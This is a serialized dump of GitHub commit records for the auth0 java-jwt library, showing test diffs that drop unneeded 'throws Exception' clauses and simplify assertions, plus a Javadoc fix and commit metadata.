 import java.nio.charset.StandardCharsets;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.RSAPrivateKey;
-import java.time.Instant;
-import java.time.temporal.ChronoUnit;
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
@@ -34,7 +31,7 @@ public class JWTCreatorTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void shouldThrowWhenRequestingSignWithoutAlgorithm() throws Exception {
+    public void shouldThrowWhenRequestingSignWithoutAlgorithm() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Algorithm cannot be null");
         JWTCreator.init()
@@ -43,7 +40,7 @@ public void shouldThrowWhenRequestingSignWithoutAlgorithm() throws Exception {
 
     @SuppressWarnings("Convert2Diamond")
     @Test
-    public void shouldAddHeaderClaim() throws Exception {
+    public void shouldAddHeaderClaim() {
         Map<String, Object> header = new HashMap<String, Object>();
         header.put("asd", 123);
         String signed = JWTCreator.init()
@@ -57,7 +54,7 @@ public void shouldAddHeaderClaim() throws Exception {
     }
 
     @Test
-    public void shouldReturnBuilderIfNullMapIsProvided() throws Exception {
+    public void shouldReturnBuilderIfNullMapIsProvided() {
         String signed = JWTCreator.init()
                 .withHeader(null)
                 .sign(Algorithm.HMAC256("secret"));
@@ -66,7 +63,7 @@ public void shouldReturnBuilderIfNullMapIsProvided() throws Exception {
     }
 
     @Test
-    public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() throws Exception {
+    public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         Map<String, Object> header = new HashMap<String, Object>();
         header.put(PublicClaims.KEY_ID, "xyz");
 
@@ -82,7 +79,7 @@ public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() throws
     }
 
     @Test
-    public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() throws Exception {
+    public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
         Map<String, Object> header = new HashMap<String, Object>();
         header.put(PublicClaims.KEY_ID, "xyz");
 
@@ -98,7 +95,7 @@ public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() throws Exce
     }
 
     @Test
-    public void shouldRemoveHeaderIfTheValueIsNull() throws Exception {
+    public void shouldRemoveHeaderIfTheValueIsNull() {
         Map<String, Object> header = new HashMap<String, Object>();
         header.put(PublicClaims.KEY_ID, null);
         header.put("test2", "isSet");
@@ -116,7 +113,7 @@ public void shouldRemoveHeaderIfTheValueIsNull() throws Exception {
     }
 
     @Test
-    public void shouldAddKeyId() throws Exception {
+    public void shouldAddKeyId() {
         String signed = JWTCreator.init()
                 .withKeyId("56a8bd44da435300010000015f5ed")
                 .sign(Algorithm.HMAC256("secret"));
@@ -227,7 +224,7 @@ public void shouldNotOverwriteKeyIdIfAddedFromECDSAAlgorithms() throws Exception
     }
 
     @Test
-    public void shouldAddIssuer() throws Exception {
+    public void shouldAddIssuer() {
         String signed = JWTCreator.init()
                 .withIssuer("auth0")
                 .sign(Algorithm.HMAC256("secret"));
@@ -237,7 +234,7 @@ public void shouldAddIssuer() throws Exception {
     }
 
     @Test
-    public void shouldAddSubject() throws Exception {
+    public void shouldAddSubject() {
         String signed = JWTCreator.init()
                 .withSubject("1234567890")
                 .sign(Algorithm.HMAC256("secret"));
@@ -265,7 +262,7 @@ public void shouldAddAudience() throws Exception {
     }
 
     @Test
-    public void shouldAddExpiresAt() throws Exception {
+    public void shouldAddExpiresAt() {
         String signed = JWTCreator.init()
                 .withExpiresAt(new Date(1477592000))
                 .sign(Algorithm.HMAC256("secret"));
@@ -275,7 +272,7 @@ public void shouldAddExpiresAt() throws Exception {
     }
 
     @Test
-    public void shouldAddNotBefore() throws Exception {
+    public void shouldAddNotBefore() {
         String signed = JWTCreator.init()
                 .withNotBefore(new Date(1477592000))
                 .sign(Algorithm.HMAC256("secret"));
@@ -285,7 +282,7 @@ public void shouldAddNotBefore() throws Exception {
     }
 
     @Test
-    public void shouldAddIssuedAt() throws Exception {
+    public void shouldAddIssuedAt() {
         String signed = JWTCreator.init()
                 .withIssuedAt(new Date(1477592000))
                 .sign(Algorithm.HMAC256("secret"));
@@ -295,7 +292,7 @@ public void shouldAddIssuedAt() throws Exception {
     }
 
     @Test
-    public void shouldAddJWTId() throws Exception {
+    public void shouldAddJWTId() {
         String signed = JWTCreator.init()
                 .withJWTId("jwt_id_123")
                 .sign(Algorithm.HMAC256("secret"));
@@ -305,7 +302,7 @@ public void shouldAddJWTId() throws Exception {
     }
 
     @Test
-    public void shouldRemoveClaimWhenPassingNull() throws Exception {
+    public void shouldRemoveClaimWhenPassingNull() {
         String signed = JWTCreator.init()
                 .withIssuer("iss")
                 .withIssuer(null)
@@ -316,7 +313,7 @@ public void shouldRemoveClaimWhenPassingNull() throws Exception {
     }
 
     @Test
-    public void shouldSetCorrectAlgorithmInTheHeader() throws Exception {
+    public void shouldSetCorrectAlgorithmInTheHeader() {
         String signed = JWTCreator.init()
                 .sign(Algorithm.HMAC256("secret"));
 
@@ -327,7 +324,7 @@ public void shouldSetCorrectAlgorithmInTheHeader() throws Exception {
     }
 
     @Test
-    public void shouldSetDefaultTypeInTheHeader() throws Exception {
+    public void shouldSetDefaultTypeInTheHeader() {
         String signed = JWTCreator.init()
                 .sign(Algorithm.HMAC256("secret"));
 
@@ -338,7 +335,7 @@ public void shouldSetDefaultTypeInTheHeader() throws Exception {
     }
 
     @Test
-    public void shouldSetCustomTypeInTheHeader() throws Exception {
+    public void shouldSetCustomTypeInTheHeader() {
         Map<String, Object> header = Collections.singletonMap("typ", "passport");
         String signed = JWTCreator.init()
                 .withHeader(header)
@@ -351,23 +348,23 @@ public void shouldSetCustomTypeInTheHeader() throws Exception {
     }
 
     @Test
-    public void shouldSetEmptySignatureIfAlgorithmIsNone() throws Exception {
+    public void shouldSetEmptySignatureIfAlgorithmIsNone() {
         String signed = JWTCreator.init()
                 .sign(Algorithm.none());
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[2], is(""));
     }
 
     @Test
-    public void shouldThrowOnNullCustomClaimName() throws Exception {
+    public void shouldThrowOnNullCustomClaimName() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Custom Claim's name can't be null.");
         JWTCreator.init()
                 .withClaim(null, "value");
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeString() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeString() {
         String jwt = JWTCreator.init()
                 .withClaim("name", "value")
                 .sign(Algorithm.HMAC256("secret"));
@@ -378,7 +375,7 @@ public void shouldAcceptCustomClaimOfTypeString() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeInteger() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeInteger() {
         String jwt = JWTCreator.init()
                 .withClaim("name", 123)
                 .sign(Algorithm.HMAC256("secret"));
@@ -389,7 +386,7 @@ public void shouldAcceptCustomClaimOfTypeInteger() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeLong() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeLong() {
         String jwt = JWTCreator.init()
                 .withClaim("name", Long.MAX_VALUE)
                 .sign(Algorithm.HMAC256("secret"));
@@ -400,7 +397,7 @@ public void shouldAcceptCustomClaimOfTypeLong() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeDouble() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeDouble() {
         String jwt = JWTCreator.init()
                 .withClaim("name", 23.45)
                 .sign(Algorithm.HMAC256("secret"));
@@ -411,7 +408,7 @@ public void shouldAcceptCustomClaimOfTypeDouble() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeBoolean() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeBoolean() {
         String jwt = JWTCreator.init()
                 .withClaim("name", true)
                 .sign(Algorithm.HMAC256("secret"));
@@ -422,7 +419,7 @@ public void shouldAcceptCustomClaimOfTypeBoolean() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeDate() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeDate() {
         Date date = new Date(1478891521000L);
         String jwt = JWTCreator.init()
                 .withClaim("name", date)
@@ -434,7 +431,7 @@ public void shouldAcceptCustomClaimOfTypeDate() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomArrayClaimOfTypeString() throws Exception {
+    public void shouldAcceptCustomArrayClaimOfTypeString() {
         String jwt = JWTCreator.init()
                 .withArrayClaim("name", new String[]{"text", "123", "true"})
                 .sign(Algorithm.HMAC256("secret"));
@@ -445,7 +442,7 @@ public void shouldAcceptCustomArrayClaimOfTypeString() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomArrayClaimOfTypeInteger() throws Exception {
+    public void shouldAcceptCustomArrayClaimOfTypeInteger() {
         String jwt = JWTCreator.init()
                 .withArrayClaim("name", new Integer[]{1, 2, 3})
                 .sign(Algorithm.HMAC256("secret"));
@@ -456,7 +453,7 @@ public void shouldAcceptCustomArrayClaimOfTypeInteger() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomArrayClaimOfTypeLong() throws Exception {
+    public void shouldAcceptCustomArrayClaimOfTypeLong() {
         String jwt = JWTCreator.init()
                 .withArrayClaim("name", new Long[]{1L, 2L, 3L})
                 .sign(Algorithm.HMAC256("secret"));
@@ -467,7 +464,7 @@ public void shouldAcceptCustomArrayClaimOfTypeLong() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeMap() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeMap() {
         Map<String, Object> data = new HashMap<>();
         data.put("test1", "abc");
         data.put("test2", "def");
@@ -481,7 +478,7 @@ public void shouldAcceptCustomClaimOfTypeMap() throws Exception {
     }
 
     @Test
-    public void shouldRefuseCustomClaimOfTypeUserPojo() throws Exception {
+    public void shouldRefuseCustomClaimOfTypeUserPojo() {
         Map<String, Object> data = new HashMap<>();
         data.put("test1", new UserPojo("Michael", 255));
 
@@ -502,7 +499,7 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         data.put("integer", 1);
         data.put("long", Long.MAX_VALUE);
         data.put("double", 123.456d);
-        data.put("date", new Date(123456789));
+        data.put("date", new Date(123000));
         data.put("boolean", true);
 
         // array types
@@ -533,13 +530,13 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         assertThat(map.get("long"), is(Long.MAX_VALUE));
         assertThat(map.get("double"), is(123.456d));
 
-        assertThat(map.get("date"), is(123456));
+        assertThat(map.get("date"), is(123));
         assertThat(map.get("boolean"), is(true));
 
         // array types
-        assertThat(map.get("intArray"), is(Arrays.asList(new Integer[]{3, 5})));
-        assertThat(map.get("longArray"), is(Arrays.asList(new Long[]{Long.MAX_VALUE, Long.MIN_VALUE})));
-        assertThat(map.get("stringArray"), is(Arrays.asList(new String[]{"string"})));
+        assertThat(map.get("intArray"), is(Arrays.asList(3, 5)));
+        assertThat(map.get("longArray"), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
+        assertThat(map.get("stringArray"), is(Arrays.asList("string")));
 
         // list
         assertThat(map.get("list"), is(Arrays.asList("a", "b", "c")));
@@ -557,7 +554,7 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         data.add(1);
         data.add(Long.MAX_VALUE);
         data.add(123.456d);
-        data.add(new Date(123456789));
+        data.add(new Date(123000));
         data.add(true);
 
         // array types
@@ -587,13 +584,13 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         assertThat(list.get(1), is(1));
         assertThat(list.get(2), is(Long.MAX_VALUE));
         assertThat(list.get(3), is(123.456d));
-        assertThat(list.get(4), is(123456));
+        assertThat(list.get(4), is(123));
         assertThat(list.get(5), is(true));
 
         // array types
-        assertThat(list.get(6), is(Arrays.asList(new Integer[]{3, 5})));
-        assertThat(list.get(7), is(Arrays.asList(new Long[]{Long.MAX_VALUE, Long.MIN_VALUE})));
-        assertThat(list.get(8), is(Arrays.asList(new String[]{"string"})));
+        assertThat(list.get(6), is(Arrays.asList(3, 5)));
+        assertThat(list.get(7), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
+        assertThat(list.get(8), is(Arrays.asList("string")));
 
         // list
         assertThat(list.get(9), is(Arrays.asList("a", "b", "c")));
@@ -602,7 +599,7 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimForNullListItem() throws Exception {
+    public void shouldAcceptCustomClaimForNullListItem() {
         Map<String, Object> data = new HashMap<>();
         data.put("test1", Arrays.asList("a", null, "c"));
 
@@ -646,7 +643,7 @@ public void shouldAcceptCustomClaimWithNullListAndRemoveClaim() throws Exception
     }
 
     @Test
-    public void shouldRefuseCustomClaimForNullMapValue() throws Exception {
+    public void shouldRefuseCustomClaimForNullMapValue() {
         Map<String, Object> data = new HashMap<>();
         data.put("subKey", null);
 
@@ -658,7 +655,7 @@ public void shouldRefuseCustomClaimForNullMapValue() throws Exception {
     }
 
     @Test
-    public void shouldRefuseCustomClaimForNullMapKey() throws Exception {
+    public void shouldRefuseCustomClaimForNullMapKey() {
         Map<String, Object> data = new HashMap<>();
         data.put(null, "subValue");
 
@@ -671,7 +668,7 @@ public void shouldRefuseCustomClaimForNullMapKey() throws Exception {
 
     @SuppressWarnings({"unchecked", "rawtypes"})
     @Test
-    public void shouldRefuseCustomMapClaimForNonStringKey() throws Exception {
+    public void shouldRefuseCustomMapClaimForNonStringKey() {
         Map data = new HashMap<>();
         data.put(new Object(), "value");
 
@@ -683,7 +680,7 @@ public void shouldRefuseCustomMapClaimForNonStringKey() throws Exception {
     }
 
     @Test
-    public void shouldRefuseCustomListClaimForUnknownListElement() throws Exception {
+    public void shouldRefuseCustomListClaimForUnknownListElement() {
         List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
 
         exception.expect(IllegalArgumentException.class);
@@ -694,7 +691,7 @@ public void shouldRefuseCustomListClaimForUnknownListElement() throws Exception
     }
 
     @Test
-    public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() throws Exception {
+    public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() {
         List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
 
         Map<String, Object> data = new HashMap<>();
@@ -708,7 +705,7 @@ public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() thro
     }
 
     @Test
-    public void shouldRefuseCustomListClaimForUnknownArrayType() throws Exception {
+    public void shouldRefuseCustomListClaimForUnknownArrayType() {
         List<Object> list = new ArrayList<>();
         list.add(new Object[]{"test"});
 uau(3fc6a62af8e7487f4f84003cfacb75894b0389ef}(sha(3fc6a62af8e7487f4f84003cfacb75894b0389efnode_idEC_kwDOAQtL0doAKDNmYzZhNjJhZjhlNzQ4N2Y0Zjg0MDAzY2ZhY2I3NTg5NGIwMzg5ZWYcommit}(author}(nameAntónio Pedro Santosemailaps@dnxt.ptdate2022-09-26T04:31:57Zu	committer}(j>R  António Pedro Santosj@R  aps@dnxt.ptjBR  2022-09-26T04:31:57Zumessage2fixed comments that were failing CicrleCI pipelinetree}(j6R  (d393d228b8c434a7693d10873618f23b0e651cceurl^https://api.github.com/repos/auth0/java-jwt/git/trees/d393d228b8c434a7693d10873618f23b0e651cceujNR  `https://api.github.com/repos/auth0/java-jwt/git/commits/3fc6a62af8e7487f4f84003cfacb75894b0389ef
comment_countK verification}(verifiedreasonvalid	signature-----BEGIN PGP SIGNATURE-----

iHUEABYKAB0WIQS/x9KuztyA3mLS2S8QJVoVuKaCBgUCYzErPQAKCRAQJVoVuKaC
Bn0JAQCCxsKbtFm/vKjpp6y6Alev5lvvNC5KhrH1UUe6Z36KJQEArjQJIu+r45To
JVcydTPK22XVyka2jzZD3G64PCiWmA0=
=afz1
-----END PGP SIGNATURE-----payloadX
  tree d393d228b8c434a7693d10873618f23b0e651cce
parent 52e2ab81b711660e911d48de47676674ff902365
author António Pedro Santos <aps@dnxt.pt> 1664166717 +0100
committer António Pedro Santos <aps@dnxt.pt> 1664166717 +0100

fixed comments that were failing CicrleCI pipeline
uujNR  \https://api.github.com/repos/auth0/java-jwt/commits/3fc6a62af8e7487f4f84003cfacb75894b0389efhtml_urlQhttps://github.com/auth0/java-jwt/commit/3fc6a62af8e7487f4f84003cfacb75894b0389efcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3fc6a62af8e7487f4f84003cfacb75894b0389ef/commentsj<R  }(loginaps-dnxtidJj8R  MDQ6VXNlcjc3NDYxNDA0
avatar_url4https://avatars.githubusercontent.com/u/77461404?v=4gravatar_idh3jNR  %https://api.github.com/users/aps-dnxtj\R  https://github.com/aps-dnxt
followers_url/https://api.github.com/users/aps-dnxt/followers
following_url<https://api.github.com/users/aps-dnxt/following{/other_user}	gists_url5https://api.github.com/users/aps-dnxt/gists{/gist_id}starred_url<https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/aps-dnxt/subscriptionsorganizations_url*https://api.github.com/users/aps-dnxt/orgs	repos_url+https://api.github.com/users/aps-dnxt/repos
events_url6https://api.github.com/users/aps-dnxt/events{/privacy}received_events_url5https://api.github.com/users/aps-dnxt/received_eventstypeUser
site_adminujDR  }(jaR  aps-dnxtjcR  Jj8R  MDQ6VXNlcjc3NDYxNDA0jeR  4https://avatars.githubusercontent.com/u/77461404?v=4jgR  h3jNR  %https://api.github.com/users/aps-dnxtj\R  https://github.com/aps-dnxtjjR  /https://api.github.com/users/aps-dnxt/followersjlR  <https://api.github.com/users/aps-dnxt/following{/other_user}jnR  5https://api.github.com/users/aps-dnxt/gists{/gist_id}jpR  <https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}jrR  3https://api.github.com/users/aps-dnxt/subscriptionsjtR  *https://api.github.com/users/aps-dnxt/orgsjvR  +https://api.github.com/users/aps-dnxt/reposjxR  6https://api.github.com/users/aps-dnxt/events{/privacy}jzR  5https://api.github.com/users/aps-dnxt/received_eventsj|R  Userj~R  uparents]}(j6R  (52e2ab81b711660e911d48de47676674ff902365jNR  \https://api.github.com/repos/auth0/java-jwt/commits/52e2ab81b711660e911d48de47676674ff902365j\R  Qhttps://github.com/auth0/java-jwt/commit/52e2ab81b711660e911d48de47676674ff902365uastats}(totalK	additionsK	deletionsKufiles](}(j6R  (fb3182e20dfc71129ae26514f1651026c9a34cfcfilename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedjR  KjR  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/3fc6a62af8e7487f4f84003cfacb75894b0389ef/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/3fc6a62af8e7487f4f84003cfacb75894b0389ef/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=3fc6a62af8e7487f4f84003cfacb75894b0389efpatchXB  @@ -570,7 +570,7 @@ public String sign(Algorithm algorithm, String providerName)
          * Creates a new JWT and signs is with the given algorithm.
          *
          * @param algorithm    used to sign the JWT
-         * @param providerName the provider to use for crypto operations
+         * @param cryptoProvider the provider to use for crypto operations
          * @return a new JWT token
          * @throws IllegalArgumentException if the provided algorithm is null.
          * @throws JWTCreationException     if the claims could not be converted to a valid JSONu}(j6R  (bc1d802f3339c5c16af14a9c9fcb960fe38e5e59jR  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javajR  modifiedjR  KjR  K jR  KjR  https://github.com/auth0/java-jwt/blob/3fc6a62af8e7487f4f84003cfacb75894b0389ef/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajR  https://github.com/auth0/java-jwt/raw/3fc6a62af8e7487f4f84003cfacb75894b0389ef/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajR  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=3fc6a62af8e7487f4f84003cfacb75894b0389efjR  X  @@ -380,6 +380,7 @@ public String toString() {
      * @throws SignatureVerificationException if the Token's Signature is invalid,
      *                                        meaning that it doesn't match the signatureBytes,
      *                                        or if the Key is invalid.
+     * @throws NoSuchProviderException if a provider with the given name is not registered
      */
 
     public void verify(DecodedJWT jwt, String providerName)ueu(1697ccb886268a0038514a97b0430d2c07538144}(sha(1697ccb886268a0038514a97b0430d2c07538144node_idEC_kwDOAQtL0doAKDE2OTdjY2I4ODYyNjhhMDAzODUxNGE5N2IwNDMwZDJjMDc1MzgxNDQcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-03-03T16:36:47Zu	committer}(jR  GitHubjR  noreply@github.comjR  2022-03-03T16:36:47Zumessage2remove unneccesary throws clause from tests (#535)tree}(jR  (dc3bf17a7718a8771b0f22b1b1fb434ee4284687url^https://api.github.com/repos/auth0/java-jwt/git/trees/dc3bf17a7718a8771b0f22b1b1fb434ee4284687ujR  `https://api.github.com/repos/auth0/java-jwt/git/commits/1697ccb886268a0038514a97b0430d2c07538144
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiIO6fCRBK7hj4Ov3rIwAAQSEIAA5WPpFMU76JZj4mAjWCQ/+G
bGopVbeCSjFctcWYeauWmjvSma9uYqJ2doYxMnLG8U03DERJifuItGwBg/fL6rfC
1T+4ca5XSC7EWkHp35l0SC0R2UuJ1H9uQ03j6KO3T/aLW4ai0xbUgCgqRZ3kUcDk
4md7YAjyBDw0eVqHWQA7rlaaNf/+/poOEn6j04gGkjq+cH5pCY/7PKNGew11hqta
4HSCgHV0qitOH7bbJGvE672kP85aZ86YenKhX3gSXiywQ++JoKtYsXqnTTnEZwZ0
8iGH2RSLmADHnr9Lc/iR19HOWqZyM2Z4hNLTfghO1uuI7NCKm1jSBkLLyVFVYEw=
=UEOX
-----END PGP SIGNATURE-----
payloadX  tree dc3bf17a7718a8771b0f22b1b1fb434ee4284687
parent 1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa
author Jim Anderson <jim.anderson@auth0.com> 1646325407 -0600
committer GitHub <noreply@github.com> 1646325407 -0600

remove unneccesary throws clause from tests (#535)

uujR  \https://api.github.com/repos/auth0/java-jwt/commits/1697ccb886268a0038514a97b0430d2c07538144html_urlQhttps://github.com/auth0/java-jwt/commit/1697ccb886268a0038514a97b0430d2c07538144comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1697ccb886268a0038514a97b0430d2c07538144/commentsjR  }(login
jimmyjamesidJ7 jR  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jR  'https://api.github.com/users/jimmyjamesjR  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujR  }(jR  web-flowjR  J/jR  MDQ6VXNlcjE5ODY0NDQ3jR  4https://avatars.githubusercontent.com/u/19864447?v=4jR  h3jR  %https://api.github.com/users/web-flowjR  https://github.com/web-flowjR  /https://api.github.com/users/web-flow/followersjR  <https://api.github.com/users/web-flow/following{/other_user}jR  5https://api.github.com/users/web-flow/gists{/gist_id}jR  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jR  3https://api.github.com/users/web-flow/subscriptionsjR  *https://api.github.com/users/web-flow/orgsjR  +https://api.github.com/users/web-flow/reposjR  6https://api.github.com/users/web-flow/events{/privacy}jR  5https://api.github.com/users/web-flow/received_eventsjR  UserjR  uparents]}(jR  (1ccecd40417bb7e4da9cf94aa612a8ad4d0086fajR  \https://api.github.com/repos/auth0/java-jwt/commits/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fajR  Qhttps://github.com/auth0/java-jwt/commit/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fauastats}(totalM	additionsM	deletionsMufiles](}(jR  (02666222b6a0726eb9576bf29fe75e9c5756eea4filename9lib/src/test/java/com/auth0/jwt/ConcurrentVerifyTest.javastatusmodifiedjS  KjS  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144patchX  @@ -38,12 +38,12 @@ public class ConcurrentVerifyTest {
     private static ExecutorService executor;
 
     @BeforeClass
-    public static void beforeAll() throws Exception {
+    public static void beforeAll() {
         executor = Executors.newFixedThreadPool(THREAD_COUNT);
     }
 
     @AfterClass
-    public static void afterAll() throws Exception {
+    public static void afterAll() {
         executor.shutdown();
     }
 
@@ -68,7 +68,7 @@ private static class VerifyTask implements Callable<DecodedJWT> {
         }
 
         @Override
-        public DecodedJWT call() throws Exception {
+        public DecodedJWT call() {
             DecodedJWT jwt = null;
             try {
                 jwt = verifier.verify(token);u}(jR  (2a8812bd9459550b93fc2cb61fdaf87da9122004jS  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javajS  modifiedjS  K&jS  K&j!S  KLj"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  X6  @@ -31,7 +31,7 @@ public class JWTCreatorTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void shouldThrowWhenRequestingSignWithoutAlgorithm() throws Exception {
+    public void shouldThrowWhenRequestingSignWithoutAlgorithm() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Algorithm cannot be null");
         JWTCreator.init()
@@ -40,7 +40,7 @@ public void shouldThrowWhenRequestingSignWithoutAlgorithm() throws Exception {
 
     @SuppressWarnings("Convert2Diamond")
     @Test
-    public void shouldAddHeaderClaim() throws Exception {
+    public void shouldAddHeaderClaim() {
         Map<String, Object> header = new HashMap<String, Object>();
         header.put("asd", 123);
         String signed = JWTCreator.init()
@@ -54,7 +54,7 @@ public void shouldAddHeaderClaim() throws Exception {
     }
 
     @Test
-    public void shouldReturnBuilderIfNullMapIsProvided() throws Exception {
+    public void shouldReturnBuilderIfNullMapIsProvided() {
         String signed = JWTCreator.init()
                 .withHeader(null)
                 .sign(Algorithm.HMAC256("secret"));
@@ -63,7 +63,7 @@ public void shouldReturnBuilderIfNullMapIsProvided() throws Exception {
     }
 
     @Test
-    public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() throws Exception {
+    public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         Map<String, Object> header = new HashMap<String, Object>();
         header.put(PublicClaims.KEY_ID, "xyz");
 
@@ -79,7 +79,7 @@ public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() throws
     }
 
     @Test
-    public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() throws Exception {
+    public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
         Map<String, Object> header = new HashMap<String, Object>();
         header.put(PublicClaims.KEY_ID, "xyz");
 
@@ -95,7 +95,7 @@ public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() throws Exce
     }
 
     @Test
-    public void shouldRemoveHeaderIfTheValueIsNull() throws Exception {
+    public void shouldRemoveHeaderIfTheValueIsNull() {
         Map<String, Object> header = new HashMap<String, Object>();
         header.put(PublicClaims.KEY_ID, null);
         header.put("test2", "isSet");
@@ -113,7 +113,7 @@ public void shouldRemoveHeaderIfTheValueIsNull() throws Exception {
     }
 
     @Test
-    public void shouldAddKeyId() throws Exception {
+    public void shouldAddKeyId() {
         String signed = JWTCreator.init()
                 .withKeyId("56a8bd44da435300010000015f5ed")
                 .sign(Algorithm.HMAC256("secret"));
@@ -224,7 +224,7 @@ public void shouldNotOverwriteKeyIdIfAddedFromECDSAAlgorithms() throws Exception
     }
 
     @Test
-    public void shouldAddIssuer() throws Exception {
+    public void shouldAddIssuer() {
         String signed = JWTCreator.init()
                 .withIssuer("auth0")
                 .sign(Algorithm.HMAC256("secret"));
